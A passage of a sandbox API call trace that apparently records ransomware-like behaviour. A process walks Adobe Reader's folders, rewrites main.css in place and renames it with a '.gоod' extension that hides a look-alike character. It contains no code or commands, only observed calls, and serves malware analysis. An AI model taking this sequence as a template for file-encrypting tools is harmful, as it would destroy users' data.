ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0227.768] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.768] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0227.768] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0227.768] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0227.768] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0227.768] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0227.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0227.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0227.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0227.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc", lpFilePart=0x0) returned 0x64 [0227.769] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0227.769] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.769] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0227.769] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0227.769] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0227.769] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.769] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0227.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0227.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0227.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0227.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css", lpFilePart=0x0) returned 0x68 [0227.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0227.771] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.771] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0227.771] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1 [0227.771] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.771] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0227.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0227.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0227.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0227.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css", lpFilePart=0x0) returned 0x68 [0227.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0227.772] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.772] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0227.772] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1 [0227.772] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 0 [0227.772] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0227.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0227.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0227.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0227.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0227.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x39ae160 | out: lpFileInformation=0x39ae160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813)) returned 1 [0227.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0227.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0227.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0227.774] GetFileType (hFile=0x864) returned 0x1 [0227.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.774] GetFileType (hFile=0x864) returned 0x1 [0227.774] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0227.774] ReadFile (in: hFile=0x864, lpBuffer=0x39ae618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x39ae618*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0227.775] CloseHandle (hObject=0x864) returned 1 [0227.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0227.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0227.775] GetFileType (hFile=0x864) returned 0x1 [0227.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.775] GetFileType (hFile=0x864) returned 0x1 [0227.775] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x18813 [0227.776] WriteFile (in: hFile=0x864, lpBuffer=0x39b0918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x39b0918*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0227.776] CloseHandle (hObject=0x864) returned 1 [0227.780] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0227.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0227.780] GetFileType (hFile=0x864) returned 0x1 [0227.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.780] GetFileType (hFile=0x864) returned 0x1 [0227.780] ReadFile (in: hFile=0x864, lpBuffer=0x39b2c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x39b2c28*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0228.139] CloseHandle (hObject=0x864) returned 1 [0228.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0228.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0228.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.140] GetFileType (hFile=0x864) returned 0x1 [0228.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0228.140] GetFileType (hFile=0x864) returned 0x1 [0228.140] WriteFile (in: hFile=0x864, lpBuffer=0x3735e48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x3735e48*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0228.140] CloseHandle (hObject=0x864) returned 1 [0228.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css", lpFilePart=0x0) returned 0x71 [0228.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css.gоod", lpFilePart=0x0) returned 0x76 [0228.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0228.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x84327cb6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18823)) returned 1 [0228.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0228.140] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css.gоod")) returned 1 [0228.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", lpFilePart=0x0) returned 0x7d [0228.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0228.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css"), fInfoLevelId=0x0, lpFileInformation=0x38f9670 | out: lpFileInformation=0x38f9670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813)) returned 1 [0228.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0228.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", lpFilePart=0x0) returned 0x7d [0228.142] SetThreadErrorMode 